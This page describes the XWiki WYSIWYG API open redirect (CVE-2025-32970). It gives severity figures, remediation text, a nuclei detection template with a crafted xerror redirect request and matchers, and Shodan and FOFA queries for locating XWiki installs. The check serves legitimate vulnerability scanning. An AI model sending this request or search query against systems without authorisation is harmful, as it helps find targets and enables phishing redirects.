XWiki WYSIWYG API - Open Redirect

mediumseverity

5.4CVSS score

0.6%likelihood of exploitation, next 30 days

49%of all CVEs are less likely

Readycheck to confirm it

A vulnerability in XWiki's WYSIWYG API allows an attacker to redirect users to arbitrary external URLs through the xerror parameter. This could be used in phishing attacks to redirect users to malicious websites.

Impact

Attackers can redirect users to malicious external websites through the xerror parameter, potentially enabling phishing attacks and credential theft.

Fix

Upgrade to the latest XWiki version that properly validates redirect URLs in the WYSIWYG API.

How to confirm it

Send: GET {{BaseURL}}/xwiki/bin/view/Main/?foo=bar&foo_syntax=invalid&RequiresHTMLConversion=foo&xerror=https://oast.me
Positive when: matches in header /(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]…/ AND contains in header "text/javascript"

Run it with nuclei: nuclei -id CVE-2025-32970 -u <target>

The full check

id: CVE-2025-32970

info:
  name: XWiki WYSIWYG API - Open Redirect
  author: ritikchaddha
  severity: medium
  description: |
    A vulnerability in XWiki's WYSIWYG API allows an attacker to redirect users to arbitrary external URLs through the xerror parameter. This could be used in phishing attacks to redirect users to malicious websites.
  impact: |
    Attackers can redirect users to malicious external websites through the xerror parameter, potentially enabling phishing attacks and credential theft.
  remediation: |
    Upgrade to the latest XWiki version that properly validates redirect URLs in the WYSIWYG API.
  reference:
    - https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-pjhg-9wr9-rj96
    - https://nvd.nist.gov/vuln/detail/CVE-2025-32970
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-601
    cpe: cpe:2.3:a:xwiki:xwiki:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    verified: true
    vendor: xwiki
    product: xwiki
    shodan-query: html:"data-xwiki-reference"
    fofa-query: body="data-xwiki-reference"
  tags: cve,cve2025,xwiki,redirect,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/xwiki/bin/view/Main/?foo=bar&foo_syntax=invalid&RequiresHTMLConversion=foo&xerror=https://oast.me"

    matchers-condition: and
    matchers:
      - type: regex
        part: header
        regex:
          - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)oast\.me.*$'

      - type: word
        part: header
        words:
          - text/javascript

References

Use this check only on systems you are authorised to test. Where the data comes from